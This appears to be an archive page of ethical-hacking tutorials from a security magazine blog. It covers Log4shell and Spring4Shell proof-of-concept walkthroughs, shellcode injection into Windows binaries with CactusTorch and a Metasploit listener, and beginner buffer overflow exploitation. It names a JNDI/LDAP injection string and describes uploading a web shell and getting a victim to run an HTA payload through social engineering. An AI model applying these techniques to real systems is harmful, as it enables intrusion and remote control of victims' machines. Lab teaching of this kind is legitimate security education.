Uncategorized Archives - Hackercool Magazine

Posted on March 8, 2023June 9, 2023 by kanishka10

Log4shell Explained For Beginners

Hello aspiring Ethical Hackers. In this article you will learn about the Log4shell vulnerability and why it is dangerous. According to Wiz and EY, this vulnerability affects over 93% of the total enterprise cloud environments. At the time of writing this article, Year 2022 has seen over a billion log4shell exploitation attempts.

The software that is affected by this vulnerability includes Apache Camel, Apache Druid, Apache Flink, Apache Solr, Apache struts2, Apache Tomcat, Elastic Search, Atllasian Bitbucket, almost all software of Avaya, some software of Cisco, Citrix,Cloudera, Dell, F-Secure, Hitachi Energy, HP, IBM, Intel, Lenovo, McAfee, Microsoft, MongoDB, Netapp, Neo4j (OMG, we just installed it in last Issue), Nulab, Oracle, Palantir, Palo -Alto, PaperCut, Rapid7, RedHat, Salesforce, Schneider Electric, Securonix, Siemens, SolarWinds, Sophos, Splunk, Thales, Varian, VMWare, Xylem, and Zendesk etc. The commercial services that are vulnerable to log4shell include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ.

If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10.

What is Log4j or Log4shell vulnerability?

Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.

There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.

Enough theory, Let’s see it practically. For this, first we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do). Let’s check if the new file is created or not. This can be done as shown below.

All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

Posted on May 18, 2022June 9, 2023 by kanishka10

Spring4Shell : Explained With POC

Hello, aspiring Ethical Hackers. In this article you will learn about Spring4shell, a new zero-day vulnerability that has been discovered in Spring Framework. Spring Framework is an open-source application framework for Java and is normally deployed with Apache Tomcat servers.

Vulnerability & Impact

There are two vulnerabilities affecting Spring Framework, one is in Spring Core and second is in Spring Cloud. The Spring Core RCE vulnerability impacts Java class objects. The vulnerability in Spring Core has been given name Spring4shell in the lines of Log4shell as both vulnerabilities affect a library. Although, it took its name from Log4shell, it is not as dangerous as its namesake.

This vulnerability affects all versions of Spring Core Framework running on JDK versions 9 and after. This vulnerability is tracked as CVE-2022-22965. There is another RCE in Spring Cloud Function versions <=3.1.6 and <=3.2.2.

Proof Of Concept

It’s time to see the exploitation of Spring4shell practically. Let’s create a new directory named spring4shell.

Clone the repository shown in the image below. This repository contains both vulnerable docker image and exploit.

Build the Docker image vulnerable to spring4shell as shown below.

You can check if the target is set or not by visiting the URL in browser.

If you get the above message, the target is ready. Run the exploit. The python exploit uploads a java web shell on the target after exploiting vulnerability.

The exploit completed successfully. The web shell can be accessed at above highlighted address.

The POC is succesful,

Posted on May 5, 2022June 9, 2023 by kanishka10

Shellcode Injection into Windows Binaries

Hello aspiring Ethical Hackers. In this article, we will see how to perform Shellcode Injection into Windows executables. In hacking, Shellcode is a code usually written in machine language instructions that starts a command shell from which a hacker can control the compromised machine. Shellcode is normally used as a payload.

Windows binaries are those binaries that are already present by default on a Windows system. Just imagine you are pen testing a Windows machine and you want to gain access to it without bringing any third party Malware to the target system. How about using the files already present on the target system to execute your payload. This is also known as file less malware.

Windows by default has some binaries for its own genuine functions. However these can be utilized by malicious actors to execute their own payload which is not benign. Examples of these binaries are regsrvr32.exe, notepad.exe, calc.exe and rundll32.exe etc. Rundll32.exe is a binary used in Windows to link library for other Windows applications. Of course, readers know about Notepad and Calculator.

In this article, we will see how to inject shellcode into these Windows executables. For this, we will be using a tool named CactusTorch. CactusTorch is a shellcode launcher tool that can be used to launch 32 bit shellcode which can then be injected into any Windows binaries.

Let’s see how this tool works. CactusTorch can be cloned from GitHub as shown below from here.

Once the repository is cloned successfully, we need to create shellcode. Cactus torch is compatible with Metasploit and Cobalt strike. So let’s use msfvenom to create 32 bit shellcode.

The shellcode is successfully created and is stored in payload.bin file.

Next, encode this payload using base64 encoding as shown below.

This shellcode can be hosted in different formats as shown below. These formats are already provided by Cactustorch.

Let’s see the example of hta file. Open the cactustorch.hta file using any text editor.

We can specify the binary you want to inject this shellcode into. For example, here we want to inject shellcode into rundll32.exe. Copy the base64 encoded shellcode at “Dim code”. Save the file. Start a Metasploit listener as shown below.

Next, all we have to do is make the user on target system execute the cactus torch.hta file. This can be done using social engineering. Now once someone clicks on it, we should get a successful meterpreter session as shown below.

Similarly, this shellcode can be hosted in JavaScript and also VB script and VBA files. That’s how shellcode injection can be performed in Windows binaries.

Posted on September 7, 2021July 10, 2022 by kanishka10

Buffer Overflow for Beginners : Part 2

Hello aspiring Ethical Hackers. In Part 2 of Buffer Overflow foe beginners, we will see how to write an exploit for a buffer overflow vulnerability. In Part 1 of this article, readers have learnt practically as to what buffer overflow is and how a buffer overflow vulnerability can be identified in a program using fuzzing. Our readers have also seen how we exploited it.
But manually fuzzing the program can be tiresome sometimes. In the example we have shown in the previous article, the buffer only needed 32 characters to be overflown but what if the buffer has a very large (let’s say 1000) size. Manual fuzzing in such cases becomes a tiresome process.

We need some automation and simplification. It’s time to introduce PEDA. PEDA is a Python Exploit Development Assistance for GNU Debugger. It enhances the functionality of the GNU Debugger by displaying disassembly codes, `registers and memory information during debugging. It also allows users to create a random pattern within the gdb console and also find the offset etc. We will learn more about the tool practically. This tool can be installed as shown below.

Now let’s go into our C lab and load the program “second” with GDB normally as shown below. This is the same program we have used in Part1 of this article. As the program loads, you will see that the interface now shows “gdb-peda” instead of just “gdb” as in the previous article.

Let us test this program once again for the buffer overflow vulnerability. Here’s the disassembled code of the program “second”.

Let’s create a string of random characters of a specific length, say 50. This can be done using the “pattern_create” command in peda. Copy the random string.

Now let’s run the program. When it prompts you the question, “Name which superhero you want to be”, paste the string we just copied and click on “Enter”. Gdb-peda gives us information about the memory registers as shown below.

It also shows us the code being executed but the most important thing it shows is the memory stack.

If you observe the stack of the program above, you can see that the string of random characters we provided as input is allocated into two memory areas. The highlighted part went into first buffer and the rest of the random characters went into the second memory area.

Instead of counting how many characters are in the first memory area, we can find the number of characters using “pattern_offset” command. We copy the random characters that went into the first buffer and use it as shown below to find the offset.

We call it as offset as we need to fill this area with random characters as no code will be executed in this offset area (as in the Part 1 of this article). The offset is 32. Well, since we no- w know the offset, let’s write an exploit for this vulnerable program. Open a new file and write the exploit as shown below.

This is a simple python exploit and the comments should explain you what it does. Let us give you more information about it. The first line of the code is basically telling the exploit to launch a python interpreter. In the second and third line, we are importing pwntools and OS modules respectively. The pwntools library has all the functions needed in penetration testing and OS module has operating system functions. In the next line we declare a variable named “path” and assign it a function os.getcwd() . This function gets the current working directory (If the OS module is not imported, this line will not work).

In the next line, another variable is declared with the name “program” and we assign it the program we want this exploit to target. As our target program is named “second” we give that name. In the next line, the “full_path” variable combines both the “path” and “program” variables to get the full working path of the program. Till this part of the code, we have reached the program we want to exploit.

Now the exploitation part. The “fill_buffer” variable fills the offset area with 32 iterations of “C” (It can be any character of your choice, but make sure its 32 for this program). In the next line we are specifying the command to be executed after the buffer is filled. Here its is “whoami”.

The exploit only works when the buffer is filled and then the command is executed. So we need to combine the “fill_buffer” and “cmd” results. The process() command start the target program while the p.sendline(bof) command sends the output of “bof” to the program already started. The p.interactive() gives the user the control after the exploit runs. Once coding is finished, save the exploit with any name you want. We named it bof1.py. Then run it as shown.

As you can see in the above image, after filling the buffer the exploit was successful in executing the command “whoami”. Now change the command to be executed and run the exploit again.

Once again it runs successfully and executes the command. This gives us a shell. This is how buffer overflow exploits are written.

When most of our readers ask as to which programming language to start learning with in the journey of ethical hacking or penetration testing, Our suggestion is always python and yo -u now know why? Python is very simple but still effective. It has a readable and easily maintainable code compared to other programming languages. Hence, it is very easy to learn. In just about ten lines, you have written the first buffer overflow exploit although its for a intentionally vulnerable program.

Posted on August 2, 2021July 10, 2022 by kanishka10

Buffer Overflow for Beginners

Hello aspiring hackers. In this article, you will learn about buffer overflow for beginners. Do you remember the new directory named “C” we created in our previous article to demonstrate about the tool GNU Debugger. I want you to go again into that directory and code another C program as shown below. You can aptly name it second.c.

After you finish coding it, compile the second.c program as shown below.

The compilation should pop up many warnings. But as it is said, programmers worry about errors and not warnings. So for now just ignore the warnings. Now let me explain what this program does. This program is one of the popular programs used to demonstrate buffer overflow. We have introduced some modifications to it. Externally, it is a simple program which asks users as to which superhero they want to be and prints it back as shown below.

Now let me explain the internal code of this program line by line. Let’s jump to the 4th and 5th line directly in which we created two characters ‘sh_name’ and ‘command’ with a pointer. The asterisk symbol signifies a pointer to a char variable. We use this when we have no idea what length the string is going to be for the character. In the 6th and 7th line of the program, we have a C function named “malloc” which is used to allocate memory during runtime. As you can see, it allocates a memory of 10 and 128 bytes to ‘sh_name’ and ‘command’ respectively. To put simply, I have created two buffers here, one of 10 bytes and other of 128 bytes.

Seeing where we are getting to? In the 8th line, the program prints the text as to who your super hero is and collects user input using the “gets” command which reads input from the standard input and stores them as a C string. In the 9th line, it is printed back by prepending it with a “Hello” as we have already seen in the image above. The last line of the C program has the ‘system’ function which passes commands to command processor to be executed. I hope you understood the function of this program.
Now suppose a user ran the program and when prompted for his favorite super hero answered as shown below. Maybe he was a diehard (to the power of 7) fan of Captain America like me or he was an English language perfectionist who hated answering minimal answers. Whatever the user was, the program responded as shown below. It printed out the answer but it also printed something else, ” he not found” with a ‘sh’ at the beginning.

“sh” is a command language interpreter that executes commands from the standard input. This is a BUG. Say it once again loudly “a BUG”. The program is sent to the testers to find out what the bug can do. The testers load the program using GNU Debugger about which our readers have learnt in our previous article.

Now, you are the tester. Check the assembly code of the program.

In the assembly code, you can see that there’s a command “gets” that collects data from standard input. Introduce a breakpoint at the point shown below and run the program . With the breakpoint, the program stops running exactly at the point where you give input to the program. After giving input, you can continue the program as shown below.

If you have observed in the above image, I have given 16 C’s as input. This process is known as fuzzing. Fuzzing is a process where we provide strings of varying length as input to find out where the buffer overflow occurs.
This strings of different lengths can be created in various ways. Here’s a method to create C’s of varied lengths using python.

We can also directly provide this random text created to the program as shown below instead of copying and pasting it.

Here is the program running in the debugger.

As an input of 35 characters is provided, a overflow occurred. Three C’s overflowed over their buffer onto the next buffer.

So the size of the first buffer is 35-3 = 32 characters. Anything that jumps over this 32 characters onto next buffer is being executed as a command due to “system” function there. So next, give 32 C’s and then append a command “ls” to it as shown below.